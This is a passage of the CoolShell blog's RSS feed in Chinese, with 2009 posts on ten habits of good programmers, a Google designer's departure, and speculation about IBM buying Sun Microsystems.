class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/7992.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/cpp_small-150x150.jpg\" alt=\"C++的坑真的多吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7992.html\" class=\"wp_rp_title\">C++的坑真的多吗？</a></li><li ><a href=\"https://coolshell.cn/articles/5576.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png\" alt=\"那些曾伴我走过编程之路的软件\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5576.html\" class=\"wp_rp_title\">那些曾伴我走过编程之路的软件</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/209.html\">C++和JAVA传统中积极的一面</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/209.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>优秀程序员的十个习惯</title>\n\t\t<link>https://coolshell.cn/articles/222.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/222.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 22 Mar 2009 03:34:08 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=222</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在这个世界上，有数百万的人热衷于软件开发，他们有很多名字，如：软件工程师（Software Engineer），程序员（Programmer），编码人（Code...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/222.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/222.html\">优秀程序员的十个习惯</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" class=\"alignright\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/icon_gear.png\" alt=\"\" />在这个世界上，有数百万的人热衷于软件开发，他们有很多名字，如：软件工程师（Software Engineer），程序员（Programmer），编码人（Coder），开发人员（Developer）。经过一段时间后，这些人也许能够成为一个优秀的编码人员，他们会非常熟悉如何用计算机语言来完成自己的工作。但是，如果你要成为一个优秀的程序员，你还可以需要有几件事你需要注意，如果你能让下面十个条目成为你的习惯，那么你才能真正算得上是优秀程序员。</p>\n<p>1. <strong>学无止境</strong>。就算是你有了10年以上的程序员经历，你也得要使劲地学习，因为你在计算机这个充满一创造力的领域，每天都会有很多很多的新事物出现。你需要跟上时代的步伐。你需要去了解新的程序语言，以及了解正在发展中的程序语言，以及一些编程框架。还需要去阅读一些业内的新闻，并到一些热门的社区去参与在线的讨论，这样你才能明白和了解整个软件开发的趋势。在国内，一些著名的社区例如：CSDN，ITPUB，CHINAUINX等等，在国外，建议你经常上一上digg.com去看看各种BLOG的聚合。</p>\n<p><span id=\"more-222\"></span></p>\n<p>2. <strong>掌握多种语言</strong>。程序语言总是有其最适合的领域。当你面对需要解决的问题时，你需要找到一个最适合的语言来解决这些问题。比如，如果你需要性能，可能C/C++是首选，如果你需要跨平台，可能Java是首选，如果你要写一个Web上的开发程序，那么PHP，ASP，Ajax，JSP可能会是你的选择，如果你要处理一些文本并和别的应用交互，可能Perl, Python会是最好的。所以，花一些时间去探索一下其它你并熟悉的程序语言，能让你的眼界变宽，因为你被武装得更好，你思考问题也就更为全面，这对于自己和项目都会有好的帮助。</p>\n<p>3. <strong>理性面对不同的操作系统或技术</strong>。程序员们总是有自己心目中无可比拟的技术和操作系统，有的人喜欢Ubuntu，有的人喜欢Debian，还有的人喜欢Windows，以及FreeBSD，MacOSX或Solaris等等。看看我的BLOG(<a href=\"http://blog.csdn.net/haoel\">http://blog.csdn.net/haoel</a>)中的那篇《<a href=\"http://blog.csdn.net/haoel/archive/2007/03/19/1533720.aspx\" target=\"_blank\">其实Unix很简单</a>》后的回复你就知道程序员们在维护起自己的忠爱时的那份执着了。只有一部分优秀的程序员明白不同操作系统的优势和长处和短处，这样，在系统选型的时候，才能做到真正的客观和公正，而不会让情绪影响到自己。同样，语言也是一样，有太多的程序员总是喜欢纠缠于语言的对比，如：Java和Perl。哪个刚刚出道的程序员没有争论去类似的话题呢？比如VC++和Delphi等等。争论这些东西只能表明自己的肤浅和浮燥。优秀的程序并不会执着于这些，而是能够理性的分析和理心地面对，从而才能客观地做出正确的选择。</p>\n<p>4. <strong>别把自己框在单一的开发环境中。</strong> 再一次，正如上面所述，每个程序员都有自己忠爱的工具和技术，有的喜欢老的（比如我就喜欢Vi编辑程序），而有的喜欢新的比如gedit或是Emacs等。有的喜欢使用像VC++一样的图形界面的调试器，而我更喜欢GDB命令行方面的调式器。等等等等。程序员在使用什么样的工具上的争论还少吗？到处都是啊。使用什么样的工具本来无所谓，只要你能更好更快地达到你的目的。但是有一点是优秀程序员都应该了解的——那就是应该去尝试一下别的工作环境。没有比较，你永远不知道谁好谁不好，你也永远不知道你所不知道的。</p>\n<p>5. <strong>使用版本管理工具管理你的代码。</strong>千万不要告诉我你不知道源码的版本管理，如果你的团队开发的源代码并没有版本管理系统，那么我要告诉你，你的软件开发还处于石器时代。赶快使用一个版式本管理工具吧。CVS 是一个看上去平淡无奇的版本工具，但它是被使用最广的版本管理系统，Subversion 是CVS的一个升级版，其正在开始接管CVS的领地。Git 又是一个不同的版本管理工具。还有Visual SourceSafe等。使用什么样的版本管理工具依赖于你的团队的大小和地理分布，你也许正在使用最有效率或最没有效率的工具来管理你的源代码。但一个优秀的程序员总是会使用一款源码版本管理工具来管理自己的代码。如果你要我推荐一个，我推荐你使用开源的Subversion。</p>\n<p>6. <strong>是一个优秀的团队成员。</strong> 除非你喜欢独奏，除非你是孤胆英雄。但我想告诉你，今天，可能没有一个成熟的软件是你一个人能做的到的，你可能是你团队中最牛的大拿，但这并不意味着你就是好的团队成员。你的能力只有放到一个团队中才能施展开来。你在和你的团队成员交流中有礼貌吗？你是否经常和他们沟通，并且大家都喜欢和你在一起讨论问题？想一想一个足球队吧，你是这个队中好的成员吗？当别人看到你在场上的跑动时，当别人看到你的传球和接球和抢断时，你的团员成员能因为你的动作受到鼓舞吗？</p>\n<p>7. <strong>把你的工作变成文档。</strong> 这一条目当然包括了在代码中写注释，但那还仅仅不够，你还需要做得更多。有良好的注释风格的代码是一个文档的基础，他能够让你和你的团队容易的明白你的意图和想法。写下文档，并不仅仅是怕我们忘了当时的想法，而且还是一种团队的离线交流的方法，更是一种知识传递的方法。记录下你所知道的一切会是一个好的习惯。因为，我相信你不希望别人总是在你最忙的时候来打断你问问题，或是你在休假的时候接到公司的电话来询问你问题。而你自己如果老是守着自己的东西，其结果只可能是让你自己长时间地深陷在这块东西内，而你就更本不可以去做更多的事情。包括向上的晋升。你可能以为“教会徒弟能饿死师父”，但我告诉你，你的保守会让你失去更多更好的东西，请你相信我，我绝不是在这里耸人听闻。</p>\n<p>8. <strong>注意备份和安全。</strong> 可能你觉得这是一个“废话”，你已明白了备份的重要性。但是，我还是要在这里提出，丢失东西是我们人生中的一部份，你总是会丢东西，这点你永远无法避免。比如：你的笔记本电脑被人偷了，你的硬盘损坏了，你的电脑中病毒了，你的系统被人入侵了，甚至整个大楼被烧了，等等，等等。所以，做好备份工作是非常非常重要的事情，硬盘是不可信的，所以定期的刻录光盘或是磁带可能会是一个好的方法，网络也是不可信的，所以小心病毒和黑客，不但使用软件方面的安全策略，你更需要一个健全的管理制度。此外，尽量的让你的数据放在不同的地方，并做好定期（每日，每周，每月）的备份策略。</p>\n<p>9. <strong>设计要足够灵活。</strong> 可能你的需求只会要求你实现一个死的东西，但是，你作为一个优秀的程序，你应该随时在思考这个死的东西是否可以有灵活的一面，比如把一些参数变成可以配置的，把一些公用的东西形成你的函数库以便以后重用，是否提供插件方面的功能？你的模块是否要以像积木一样随意组合？如果要有修改的话，你的设计是否能够马上应付？当然，灵活的设计可能并不是要你去重新发明轮子，你应该尽可能是使用标准化的东西。所谓灵话的设计就是要让让考虑更多需求之外的东西，把需求中这一类的问题都考虑到，而不是只处理需求中所说的那一特定的东西。比如说，需要需要的屏幕分辨率是800&#215;600，那么你的设计能否灵活于其他的分辨率？程序设计总是需要我们去处理不同的环境，以及未来的趋势。我们需要用动态的眼光去思考问题，而不是刻舟求剑。也许有一天，你今天写的程序就要移植到别的环境中去，那个时候你就能真正明白什么是灵活的设计了。</p>\n<p>10. <strong>不要搬起石头砸自己的脚。</strong>程序员总是有一种不好的习惯，那就是总是想赶快地完成自己手上的工作。但情况却往往事已愿违。越是想做得快，就越是容易出问题，越是想做得快，就越是容易遗漏问题，最终，程序改过来改过去，按下葫芦起了瓢，最后花费的时间和精力反而更多。欲速而不达。优秀程序员的习惯是前面多花一些时间多作一些调查，试验一下不同的解决方案，如果时间允许，一个好的习惯是，每4个小时的编程，需要一个小时的休息，然后又是4个小时的编码。当然，这因人而异，但其目的就是让你时常回头看看，让你想一想这样三个问题：1）是否这么做是对的？2）是否这么做考虑到了所有的情况？3）是否有更好的方法？想好了再说，时常回头看看走过的路，时常总结一下过去事，会对你有很大的帮助。</p>\n<p>以上是十条优秀程序员的习惯或行为规范，希望其可以对你有所帮助。</p>\n<p>本文来源于网上phil的BLOG，但我在写作过程中使用了自己的语言和方法重新描述了一下这十条，所以，我希望你在转载的时候能够注明作者和出处以表示对我的尊重。谢谢！</p>\n<p>文章：<a href=\"http://codepad.classhelper.org/top-ten-habits-of-successful-programmers/223/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/222.html\">优秀程序员的十个习惯</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/222.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>76</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一位离开Google的设计师离职感言的读后感</title>\n\t\t<link>https://coolshell.cn/articles/208.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/208.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Sat, 21 Mar 2009 13:47:05 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=208</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Douglas Bowman, 一位Google的设计师，3月20日离开了Google。他在自己的博客上留了一篇感言</p>\nThe post <a href=\"https://coolshell.cn/articles/208.html\">一位离开Google的设计师离职感言的读后感</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Douglas Bowman, 一位Google的设计师，3月20日离开了Google。他在自己的<a href=\"http://stopdesign.com/\">博客</a>上留了一篇<a href=\"http://stopdesign.com/archive/2006/05/27/going-to-google.html\">感言</a></p>\n<p>很多人感兴趣Google是否是技术人员的天堂，也感兴趣Google有多少数据，更多人想撬开Google的创新引擎看看这个日渐庞大的企业如何能够保持特立独行的作风。本文不是关于这些，而是一个设计师的对Google的理解。</p>\n<p>摘要：</p>\n<blockquote><p>当一个公司里没有一个透彻理解“设计的原则和元素”的领军人物时，很快这个公司就会在作出设计决定上感到枯竭。（原文：Without a person at (or near) the helm who thoroughly understands the <a href=\"http://en.wikipedia.org/wiki/Design_principles_and_elements\">principles and elements of Design</a>, a company eventually runs out of reasons for design decisions.）</p></blockquote>\n<blockquote><p>我感激Google工作的机会，学习很多，很好的食物&#8230;但我不会想念那被数据随意斩杀的设计理念。（原文：I’m thankful for the opportunity I had to work at Google. I learned more than I thought I would. I’ll miss the free food. I’ll miss the occasional massage. I’ll miss the authors, politicians, and celebrities that come to speak or perform. I’ll miss early chances to play with cool toys before they’re released to the public. Most of all, I’ll miss working with the incredibly smart and talented people I got to know there. But I won’t miss a design philosophy that lives or dies strictly by the sword of data.）</p></blockquote>\n<p><span id=\"more-208\"></span></p>\n<p>这个不得不让我们对于如何做出好的设计有些思考，尤其是我们多大程度上应该依赖数据，尤其是对数据的解释。正如剑桥大学的一篇关于<a href=\"http://www.admin.cam.ac.uk/news/dp/2009031701\">统计数据研讨会新闻报道</a>中说道：</p>\n<blockquote><p>统计数据是重要的，能够帮助我们做出日常判断甚至是预测将来提供依据，但是统计数据也是非常无聊的，而且容易被别有用心的人歪曲。（原文：Statistics are essential, from helping us to make choices in our day to day lives to predicting what might happen in the future, but often they are boring and can be manipulated to serve a particular purpose.）</p></blockquote>\n<p>这也同时让我们想到了《<a href=\"https://coolshell.cn/articles/76.html\">怎样做一个Program Manager</a>》 中所引述的，其实很多时候，需求和决定来自看似非常繁杂和近似混乱的沟通。</p>\n<p>综合这些，以及我们对一般（非互联网）产品的设计的理解，我们仍然有理由相信，（互联网）的产品需要来自经验的直觉指导大胆而创新的改变；而此经验的获得和对数据快速反应的能力，来自一种叫做 strategic thinking 的能力。对于strategic thinking, 坦率的说是因为词汇匮乏，也更像是一种 quality without a name。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/753.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" alt=\"不要拯救那些职场上的“无可救药”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/753.html\" class=\"wp_rp_title\">不要拯救那些职场上的“无可救药”</a></li><li ><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" alt=\"Go编程模式：Map-Reduce\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_title\">Go编程模式：Map-Reduce</a></li><li ><a href=\"https://coolshell.cn/articles/3872.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/03/affc-image1-150x150.png\" alt=\"微软用新浪来当反面教材\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3872.html\" class=\"wp_rp_title\">微软用新浪来当反面教材</a></li><li ><a href=\"https://coolshell.cn/articles/11021.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/02/Github-Security-150x150.png\" alt=\"从“黑掉Github”学Web安全开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11021.html\" class=\"wp_rp_title\">从“黑掉Github”学Web安全开发</a></li><li ><a href=\"https://coolshell.cn/articles/2990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/Time-Allocation-while-Programming-150x150.png\" alt=\"编程时间分配图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2990.html\" class=\"wp_rp_title\">编程时间分配图</a></li><li ><a href=\"https://coolshell.cn/articles/19464.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/06/competition-360x200-1-150x150.png\" alt=\"如何超过大多数人\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19464.html\" class=\"wp_rp_title\">如何超过大多数人</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/208.html\">一位离开Google的设计师离职感言的读后感</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/208.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>IBM收购Sun，这是一种什么样的精神？</title>\n\t\t<link>https://coolshell.cn/articles/203.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/203.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 18 Mar 2009 16:10:42 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[IBM]]></category>\n\t\t<category><![CDATA[Sun]]></category>\n\t\t<category><![CDATA[评论]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=203</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>《华尔街日报》3月18日报导有消息说IBM要以65亿美金收购Sun（原文），虽然消息未经证实，但已引起轩然大波。据Business Joural报道，周二，Su...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/203.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/203.html\">IBM收购Sun，这是一种什么样的精神？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/ibm-potentially-buying-sun.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-205\" title=\"OFRIN-IBM-SUN-MICROSYSTEMS-20090318\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/ibm-potentially-buying-sun-203x300.jpg\" alt=\"OFRIN-IBM-SUN-MICROSYSTEMS-20090318\" width=\"203\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/ibm-potentially-buying-sun-203x300.jpg 203w, https://coolshell.cn/wp-content/uploads/2009/03/ibm-potentially-buying-sun-183x270.jpg 183w, https://coolshell.cn/wp-content/uploads/2009/03/ibm-potentially-buying-sun.jpg 305w\" sizes=\"(max-width: 203px) 100vw, 203px\" /></a>《华尔街日报》3月18日报导有消息说IBM要以65亿美金收购Sun（<a href=\"http://online.wsj.com/article/SB123735970806267921.html\" target=\"_blank\">原文</a>），虽然消息未经证实，但已引起轩然大波。据<a href=\"http://sanjose.bizjournals.com/sanjose/stories/2009/03/16/daily38.html\" target=\"_blank\">Business Joural</a>报道，周二，Sun的股票一下子涨了68%，从之前$4.97一下涨到了$8.36，但IBM的股价下跌4%到了$89.46。</p>\n<p>而网上的博主们都在狂写评论文章了。有持支持态度的，这篇<a href=\"http://www.electronista.com/articles/09/03/18/ibm.may.buy.sun/\" target=\"_blank\">博文</a>表明IBM和Sun都是喜欢开源（Linux 和OpenSolaris）以及跨平台的（Linux和Java）的，所以他们的合并可能更好的对抗微软和intel的x86平台，应该太有作为。还有这篇<a href=\"http://blog.internetnews.com/skerner/2009/03/ibm-sun-acquisition-good-for-u.html\" target=\"_blank\">博文</a>则对比了HP收购Compaq(DEC)的案例，说明这样的合并可能更为容易和HP对抗。</p>\n<p>当然，也有不认可以文章，比如ZNet上的这篇<a href=\"http://blogs.zdnet.com/Gardner/?p=2857\" target=\"_blank\">文章</a>，作者觉得这根本就不可能，因为IBM和Sun有太多的重合了，很多方面都有存在很强的竞争，IBM要买来一点用都没有，要芯片技术吗？要操作系统吗？要数据库吗？要Java吗？更不可能。文中说，如果IBM想把Sun干掉，那么用65亿美金就太贵了，在这个寒冬，应该不用这种价格，除非这则新闻另有别的用意……</p>\n<p>不过，最有意思的评论是<a href=\"http://www.thevarguy.com/2009/03/18/ibm-targeting-sun-for-takeover-linux-mysql-potential-winners/\" target=\"_blank\"><strong>这篇</strong></a>，简直是太精彩了，我忍不住想把之翻译在这里：</p>\n<p><span id=\"more-203\"></span></p>\n<p>——————————————————————————</p>\n<p>有报道说IBM准备使用至少65亿美金收购Sun Microsystems公司。如果这个交易发生的话，那么，难道这意味着 Solaris, SPARC, MySQL 和其它技术的会和IBM的核心产品重迭在一起？是否HP也会给Sun打个电话然后再给个价格呢？本人在此对于这个潜在的收购案给出四个预言。当然，Linux肯定是主宰了整个谈判。</p>\n<p>基本上来说，本人并不是一个大型IT公司并购的Fans，因为你只要查看一下历史上的股票估价，你就会发现绝大多数的并购并不能像实际所说的那样。 (比如: Novell/WordPerfect, AT&amp;T/NCR,  AOL/Time Warner, Symantec/Veritas 等等).</p>\n<p>当然，本人要给IBM收购Sun的这种行为竖个大拇哥以示表扬。为什么？<a href=\"http://www.thevarguy.com/2009/01/30/is-sun-microsystems-the-new-novell/\" target=\"_blank\">因为我们的Sun目前正生活在炼狱中</a>，但是它却不可小视，因为这个公司有关很很的排列整齐的开源项目 (<a href=\"http://mysql.com/\" target=\"_blank\">MySQL</a>, <a href=\"http://www.thevarguy.com/2008/11/10/sun-open-storage-appliances-meet-the-open-source-channel/\" target=\"_blank\">open source storage</a> 等) ，但是如果与 Sun的过时的生意(SPARC, Solaris, 等)比起来，这些只能为Sun带来硬币级利润的开源项目只能算个屁了。</p>\n<p>如果IBM真的收购了Sun，那么下面是我的四个预言：</p>\n<ol>\n<li><strong>长期停止Sun的基于RISC的 SPARC处理器。</strong> IBM 本来就有了基于 RISC 技术的处理器( <a href=\"http://en.wikipedia.org/wiki/IBM_POWER\" target=\"_blank\">POWER</a> 产品线)。让我们公正诚实地来看待这个问题，这些大的公司正在四周布满Intel服务器的环境下巩固他们的过气的RISC数据中心。我们不得不说，IBM的确干了一件相当出色的事情来长期地支援那些过气的硬件，而真实的研发 会出现一些POWER/SPARC 的结合变种以面对高端定位。</li>\n<li><strong> Sun Solaris 必然会被混合到 IBM AIX中。</strong> 这个世界有太多的Unix了，IBM找到了一个很有创意的方法取代于继续支持两个Unix，那就是把Solais和AIX所有的功能特性合并到一起。然后和HP-UX竞争，但最终可能的结果也许为成为Linux。这里，我希望大家不要在OpenSolris这里纠缠争论，因为本人强烈地怀疑IBM会把OpenSolaris直接做成Linux的另一选择。</li>\n<li><strong>MySQL 是个大赢家。</strong>今天MySQL在东家Sun这里一看多了。MySQL在这些并购中的声望可以继续增涨，但是MySQL的职员可能会因此离开，而且MySQL内讧也会或多或少打击到开源数据。但有了强大的IBM Global Services 和 Big Blue 的销售渠道，MySQL 只会更加繁荣和兴旺。而且和DB2的联姻，IBM获得了一个强有力的组合拳（one-two punch） ，Oracle 和Microsoft SQL Server自然要被挨打。</li>\n<li><strong>Linux。</strong>这是这个游戏中最大最大的赢家。不但可以在IBM自主的技术蓝图中和Sun的硬件和软件联合起来，而且可以向Linux的数据中心进军，甚至Linux的桌面系统可以加快速度。相信我，绝对没错的。</li>\n</ol>\n<p>不但如此，IBM 收购Sun 还绝对说明了三件事： 1）合并了技术，2）合并了员工，3）控制了Sun的客户基础。</p>\n<p>Sun 用户不应该会恐慌，因为IBM拥有如此之强的实力会继续提供那些过气了的产品。实际上，Sun的用户只会在“如果IBM不收购Sun”时才会感到恐慌……</p>\n<p>好了，让我用一个思考性的问题来结束这个文章吧——到底是谁泄露IBM收购Sun的这个价格？为什么要泄露？难道是有人想要把HP也拉进来坐地起价？ 嘿嘿&#8230;<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1426.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/09/sun_customers_lg-150x150.gif\" alt=\"Oracle的战书！\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1426.html\" class=\"wp_rp_title\">Oracle的战书！</a></li><li ><a href=\"https://coolshell.cn/articles/595.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Oracle成功收购Sun\" width=\"150\" height=\"150\" /></a><a 